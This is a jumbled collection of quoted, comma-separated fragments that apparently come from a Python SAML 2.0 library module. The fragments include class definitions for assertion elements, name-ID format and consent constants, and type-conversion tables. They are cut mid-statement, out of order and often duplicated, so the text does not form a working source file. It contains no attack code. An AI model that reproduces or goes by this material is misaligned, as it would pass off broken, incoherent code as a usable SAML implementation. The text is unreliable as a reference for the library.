"urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\" c_tag = 'AuthzDecisionStatementType' c_namespace = NAMESPACE c_children", "Assertion.c_tag: assertion_from_string, AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag: subject_from_string, SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string,", "# subject as email address NAMEID_FORMAT_EMAILADDRESS = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") #", "issued, besides the subject itself # by third parties. #", "c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] = ( 'condition', [Condition]) c_cardinality['condition'] =", "Fill in the instance members from the contents of the", "provide name identifiers in a number of different formats. SAML's", "urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\" c_tag = 'KeyInfoConfirmationDataType' c_namespace = NAMESPACE c_children", "# ['Assertion', 'AssertionType', 'AdviceType', 'Advice'] class AssertionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionType element", "= xsd_type_props.get('to_text', str) # cast to correct type before type-checking", "urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element \"\"\" c_tag = 'AttributeStatementType' c_namespace = NAMESPACE c_children", "self.base_id = base_id self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation_data", "the subject itself # by third parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf #", "a bearer token is issued instead. SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class", "} xsd_string = ( 'base64Binary' if base64encode else self.get_type() or", "StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement, xml_string) class", "# dicc for avaiable formats NAME_FORMATS_SAML2 = ( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC),", "c_tag = 'ConditionsType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "= AssertionType_.c_attributes.copy() c_child_order = AssertionType_.c_child_order[:] c_cardinality = AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string):", "SamlBase.__init__(self, text=None, extension_elements=extension_elements, extension_attributes=extension_attributes) if self._extatt: self.extension_attributes = self._extatt if", "('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_attributes['Recipient'] =", "describing how to embed SAML assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The", "to this node # we consider whitespace insignificant # and", "assertion_type__from_string, Subject.c_tag: subject_from_string, SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag:", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace = namespace", "AuthnContextDecl.c_tag: authn_context_decl_from_string, AuthenticatingAuthority.c_tag: authenticating_authority_from_string, AuthzDecisionStatement.c_tag: authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string,", "'attribute', [Attribute]) c_cardinality['attribute'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = ( 'encrypted_attribute',", "def action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_, xml_string) class AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element", "AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string, Action.c_tag: action_from_string, ActionType_.c_tag: action_type__from_string, Evidence.c_tag: evidence_from_string,", "KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element \"\"\" c_tag = 'KeyInfoConfirmationDataType' c_namespace =", "\"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc for avaiable formats NAMEID_FORMATS_SAML2 = ( ('NAMEID_FORMAT_EMAILADDRESS',", "= SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] = ('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier',", "SubjectLocalityType_.c_cardinality.copy() def verify(self): if self.address: # dotted-decimal IPv4 or RFC3513", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref = assertion_id_ref", "= ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") # uri format NAME_FORMAT_URI = \"urn:oasis:names:tc:SAML:2.0:attrname-format:uri\" #", "class Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\" c_tag = 'Advice' c_namespace", "_wrong_type_value(xsd, value): msg = 'Type and value do not match:", "{ 'type': int, 'to_type': int, 'to_text': _str, }, 'short': {", "('format', 'anyURI', False) c_attributes['SPProvidedID'] = ('sp_provided_id', 'string', False) def __init__(self,", "# authenticate the request with login credentials AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\"", "self.subject_confirmation_data = subject_confirmation_data self.method = method def subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_,", "NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema definition XSD = \"xs\" #", "AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string, AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag: subject_from_string,", "type(value) is _str and valid_type is not _str: try: value", "c_child_order = AudienceRestrictionType_.c_child_order[:] c_cardinality = AudienceRestrictionType_.c_cardinality.copy() def audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction,", "name self.name_format = name_format self.friendly_name = friendly_name # when consuming", "extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier class NameIDType_(SamlBase): \"\"\"The", "address, X.509 subject name, Windows domain qualified name, Kerberos principal", "'type': type(None), 'to_type': lambda x: None, 'to_text': lambda x: '',", "= authn_context_class_ref self.authn_context_decl = authn_context_decl self.authn_context_decl_ref = authn_context_decl_ref self.authenticating_authority =", "= 'EvidenceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\" c_tag = 'SubjectConfirmationType' c_namespace = NAMESPACE c_children", "- a corresponding python type # - a function to", "xml_string) class AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\" c_tag = 'AuthnContextType'", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref = assertion_id_ref or [] self.assertion_uri_ref", "def authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element", "element \"\"\" c_tag = 'SubjectConfirmationType' c_namespace = NAMESPACE c_children =", "= {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) c_any = {\"namespace\":", "encrypted_data self.encrypted_key = encrypted_key or [] def encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_,", "element \"\"\" c_tag = 'AuthnContext' c_namespace = NAMESPACE c_children =", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] =", "'assertion_uri_ref', 'assertion', 'encrypted_assertion']) c_any = {\"namespace\": \"##other\", \"processContents\": \"lax\"} def", "'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref',", "= ('signature', ds.Signature) c_cardinality['signature'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject']", "= 'ProxyRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes =", "c_child_order = AssertionType_.c_child_order[:] c_cardinality = AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion,", "of different formats. SAML's predefined formats include: Email address, X.509", "[Attribute]) c_cardinality['attribute'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = ( 'encrypted_attribute', [EncryptedAttribute])", "extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality = subject_locality self.authn_context", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute = attribute or [] self.encrypted_attribute =", "at: # if any question arise please query the following", "c_tag = 'Attribute' c_namespace = NAMESPACE c_children = AttributeType_.c_children.copy() c_attributes", "AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType': DecisionType_, 'Action':", "subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality, xml_string) class AuthnContextType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\"", "identified on behalf of the subject given private/public key SCM_HOLDER_OF_KEY", "( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject as email address NAMEID_FORMAT_EMAILADDRESS = (", "key SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the 3rd party is identified", "}, 'boolean': { 'type': bool, 'to_type': lambda x: { 'true':", "c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() def", "at: # https://wiki.oasis-open.org/security/FrontPage # # saml core specifications to be", "return SamlBase.verify(self) def assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_, xml_string) class Assertion(AssertionType_): \"\"\"The", "type into a text-value xsd_types_props = { 'string': { 'type':", "= ('session_index', 'string', False) c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after', 'dateTime', False) c_child_order.extend(['subject_locality',", "xsd_type else '') SamlBase.__setattr__(self, 'text', text) return self def harvest_element_tree(self,", "urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\" c_tag = 'AuthnContextDecl' c_namespace = NAMESPACE c_value_type", "= {XSI_NIL: 'true'} elif XSI_TYPE in self.extension_attributes: del self.extension_attributes[XSI_TYPE] def", "Transient identifier.\" \"\"\" c_tag = 'NameID' c_namespace = NAMESPACE c_children", "= resource self.decision = decision def authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string)", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = ( 'evidence', Evidence) c_cardinality['evidence'] = {\"min\": 0, \"max\":", "c_namespace = NAMESPACE c_children = AttributeStatementType_.c_children.copy() c_attributes = AttributeStatementType_.c_attributes.copy() c_child_order", "'Statement': Statement, 'AuthnStatement': AuthnStatement, 'AuthnStatementType': AuthnStatementType_, 'SubjectLocality': SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_,", "# no claim to consent is made CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\"", "self._extatt[XSI_TYPE] except KeyError: return \"\" def clear_type(self): try: del self.extension_attributes[XSI_TYPE]", "}, 'anyType': { 'type': type(value), 'to_type': lambda x: x, 'to_text':", "urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\" c_tag = 'BaseIDAbstractType' c_namespace = NAMESPACE c_children", "'Assertion': Assertion, 'AssertionType': AssertionType_, 'Subject': Subject, 'SubjectType': SubjectType_, 'SubjectConfirmation': SubjectConfirmation,", "= {\"namespace\": \"##other\", \"processContents\": \"lax\"} def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None,", "is key:value metadata shared with your app # custom format", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = ( 'attribute_value', [AttributeValue])", "= ActionType_.c_cardinality.copy() def action_from_string(xml_string): return saml2.create_class_from_xml_string(Action, xml_string) class AttributeType_(SamlBase): \"\"\"The", "c_namespace = NAMESPACE c_children = AuthzDecisionStatementType_.c_children.copy() c_attributes = AuthzDecisionStatementType_.c_attributes.copy() c_child_order", "= NAMESPACE c_value_type = {'base': 'NCName'} c_children = SamlBase.c_children.copy() c_attributes", "values for SAML attributes PROFILE_ATTRIBUTE_BASIC = ( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an", "try: return self.extension_attributes[XSI_TYPE] except (KeyError, AttributeError): try: return self._extatt[XSI_TYPE] except", "= xsd_types_props.get(xsd_type, {}) valid_type = xsd_type_props.get('type', type(None)) to_type = xsd_type_props.get('to_type',", "self.issuer = issuer self.signature = signature self.subject = subject self.conditions", "SAML2 Technical Overview: \"The <NameID> element within a <Subject> offers", "'AuthzDecisionStatement' c_namespace = NAMESPACE c_children = AuthzDecisionStatementType_.c_children.copy() c_attributes = AuthzDecisionStatementType_.c_attributes.copy()", "'AuthnContextType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "def __init__(self, audience=None, count=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text,", "else x ), }, 'anyType': { 'type': type(value), 'to_type': lambda", "SamlBase.harvest_element_tree(self, tree) def attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_, xml_string) class SubjectConfirmationType_(SamlBase): \"\"\"The", "authz_decision_statement_from_string, AuthzDecisionStatementType_.c_tag: authz_decision_statement_type__from_string, DecisionType_.c_tag: decision_type__from_string, Action.c_tag: action_from_string, ActionType_.c_tag: action_type__from_string, Evidence.c_tag:", "def authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #.................. # ['Assertion', 'AssertionType', 'AdviceType',", "= [ ('NameQualifier', 'string', False), ('SPNameQualifier', 'string', False), ] ELEMENT_FROM_STRING", "be found at: # https://wiki.oasis-open.org/security/FrontPage # # saml core specifications", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 0} c_attributes['Count'] =", "saml2 import SamlBase import six from saml2 import xmldsig as", "return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\" c_tag", "bool: 'boolean', type(None): '', } # entries of xsd-types each", "and under # what conditions # no claim to consent", "must contain a Subject\") return SamlBase.verify(self) def assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_,", "xsd_type_props.get('type', type(None)) to_type = xsd_type_props.get('to_type', str) to_text = xsd_type_props.get('to_text', str)", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NotBefore'] = ('not_before',", "formats NAMEID_FORMATS_SAML2 = ( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY),", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue, xml_string)", "False) def __init__(self, address=None, dns_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "( 'evidence', Evidence) c_cardinality['evidence'] = {\"min\": 0, \"max\": 1} c_attributes['Resource']", "contain a Subject\") return SamlBase.verify(self) def assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_, xml_string)", "saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\" c_tag =", "AuthzDecisionStatementType_.c_attributes.copy() c_child_order = AuthzDecisionStatementType_.c_child_order[:] c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string): return", "only work with six.string_types _str = unicode if six.PY2 else", "= \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent has been obtained CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\"", "'true': True, 'false': False, }[_str(x).lower()], 'to_text': lambda x: _str(x).lower(), },", "= ('friendly_name', 'string', False) c_child_order.extend(['attribute_value']) c_any_attribute = {\"namespace\": \"##other\", \"processContents\":", "def subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element", "BaseID) c_cardinality['base_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id',", "\"\"\" c_tag = 'EvidenceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "version self.id = id self.issue_instant = issue_instant def verify(self): #", "as ds from saml2 import xmlenc as xenc # authentication", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = ( 'conditions', Conditions) c_cardinality['conditions']", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class", "[EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) c_any", "attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_, xml_string) class SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element \"\"\"", "'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] = {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority']", "= \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute statements is key:value metadata shared", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NotBefore'] = ('not_before', 'dateTime',", "\"\"\" c_tag = 'ProxyRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy()", "c_cardinality['audience'] = {\"min\": 1} c_child_order.extend(['audience']) def __init__(self, audience=None, text=None, extension_elements=None,", "typ if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs']", "class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\" c_tag = 'AuthzDecisionStatementType' c_namespace", "\"\"\" c_tag = 'AudienceRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy()", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.assertion_id_ref = assertion_id_ref or", "raise Exception(\"Cannot be used more than once\") return SamlBase.verify(self) def", "= EvidenceType_.c_attributes.copy() c_child_order = EvidenceType_.c_child_order[:] c_cardinality = EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string):", "StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = ( 'action', [Action]) c_cardinality['action']", "\"\"\" c_tag = 'SubjectConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "NAMEID_FORMAT_X509SUBJECTNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject as windows domain name", "authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement, xml_string) class AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\"", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace = namespace def action_type__from_string(xml_string): return saml2.create_class_from_xml_string(ActionType_,", "and not self.subject: raise MustValueError( \"An assertion with an AuthnStatement", "advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_, xml_string) class Advice(AdviceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\"", "subject_locality_from_string, SubjectLocalityType_.c_tag: subject_locality_type__from_string, AuthnContext.c_tag: authn_context_from_string, AuthnContextType_.c_tag: authn_context_type__from_string, AuthnContextClassRef.c_tag: authn_context_class_ref_from_string, AuthnContextDeclRef.c_tag:", "xsd_string == '' else [ XSD if xsd_string in xsd_types_props", "c_tag = 'BaseID' c_namespace = NAMESPACE c_children = BaseIDAbstractType_.c_children.copy() c_attributes", "\"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no consent is needed. CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" #", "text: self.set_text(text) elif not extension_elements: self.extension_attributes = {XSI_NIL: 'true'} elif", "1} c_attributes['Resource'] = ('resource', 'anyURI', True) c_attributes['Decision'] = ('decision', DecisionType_,", "'{%s}nil' % XSI_NAMESPACE # idp and sp communicate usually about", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element", "'authn_context', AuthnContext) c_attributes['AuthnInstant'] = ('authn_instant', 'dateTime', True) c_attributes['SessionIndex'] = ('session_index',", "__init__(self, attribute_value=None, name=None, name_format=NAME_FORMAT_URI, friendly_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "\"\" def clear_type(self): try: del self.extension_attributes[XSI_TYPE] except KeyError: pass try:", "return saml2.create_class_from_xml_string(Subject, xml_string) #.................. # ['AuthzDecisionStatement', 'EvidenceType', 'AdviceType', 'Evidence', #", "NAMEID_FORMAT_KERBEROS = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject as name NAMEID_FORMAT_ENTITY =", "'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] = ( 'encrypted_key', [xenc.EncryptedKey]) c_cardinality['encrypted_key'] = {\"min\":", "extension_attributes=extension_attributes) self.attribute_value = attribute_value or [] self.name = name self.name_format", "= ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions, xml_string) class AuthnStatement(AuthnStatementType_): \"\"\"The", "[ds.KeyInfo]) c_cardinality['key_info'] = {\"min\": 1} c_child_order.extend(['key_info']) def __init__(self, key_info=None, text=None,", "= ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked subject NAMEID_FORMAT_PERSISTENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\")", "obtained CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no consent is needed. CONSENT_INAPPLICABLE", "pass try: del self._extatt[XSI_TYPE] except KeyError: pass def set_text(self, value,", "= ( 'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement'] = {\"min\": 0} c_attributes['Version'] =", "{ 'type': _str, 'to_type': _str, 'to_text': _str, }, 'integer': {", "('address', 'string', False) c_attributes['DNSName'] = ('dns_name', 'string', False) def __init__(self,", "\"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject from a kerberos instance NAMEID_FORMAT_KERBEROS = (", "return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement element \"\"\" c_tag", "c_tag = 'Issuer' c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes", "= StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = ( 'action', [Action]) c_cardinality['action'] = {\"min\":", "SubjectType_.c_child_order[:] c_cardinality = SubjectType_.c_cardinality.copy() def subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject, xml_string) #..................", "= StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() def statement_from_string(xml_string): return saml2.create_class_from_xml_string(Statement, xml_string)", "saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\" c_tag =", "\"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked subject NAMEID_FORMAT_PERSISTENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:persistent\") # annonymous", "is needed. CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject confirmation methods(scm), can", "c_child_order = AttributeStatementType_.c_child_order[:] c_cardinality = AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement,", "c_child_order = AuthzDecisionStatementType_.c_child_order[:] c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatement,", "= {\"min\": 0, \"max\": 1} c_attributes['Method'] = ('method', 'anyURI', True)", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or [] def audience_restriction_type__from_string(xml_string): return", "#print(\"set_text:\", tree.text) # clear type #self.clear_type() self.set_text(text) # if we", "or other children to this node # remove the nil", "AuthnContextDeclRef, 'AuthnContextDecl': AuthnContextDecl, 'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType':", "def conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions, xml_string) class AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element", "c_tag = 'AudienceRestriction' c_namespace = NAMESPACE c_children = AudienceRestrictionType_.c_children.copy() c_attributes", "= AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement, xml_string) class Subject(SubjectType_): \"\"\"The", "c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality", "del self.extension_attributes[XSI_TYPE] def __setattr__(self, key, value): if key == \"text\":", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\" c_tag = 'ProxyRestriction' c_namespace = NAMESPACE", "c_tag = 'ProxyRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes", "\"\"\" c_tag = 'KeyInfoConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string, AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag: subject_from_string, SubjectType_.c_tag: subject_type__from_string,", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id = base_id self.name_id = name_id", "'type': int, 'to_type': int, 'to_text': _str, }, 'long': { 'type':", "\"\"\" c_tag = 'SubjectConfirmation' c_namespace = NAMESPACE c_children = SubjectConfirmationType_.c_children.copy()", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] = ( 'attribute_statement', [AttributeStatement]) c_cardinality['attribute_statement'] = {\"min\": 0} c_attributes['Version']", "element \"\"\" c_tag = 'AttributeStatementType' c_namespace = NAMESPACE c_children =", "= AuthzDecisionStatementType_.c_attributes.copy() c_child_order = AuthzDecisionStatementType_.c_child_order[:] c_cardinality = AuthzDecisionStatementType_.c_cardinality.copy() def authz_decision_statement_from_string(xml_string):", "= xsd_type_props.get('type', type(None)) to_type = xsd_type_props.get('to_type', str) to_text = xsd_type_props.get('to_text',", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class", "__init__(self, audience=None, count=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements,", "'SubjectType': SubjectType_, 'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType': 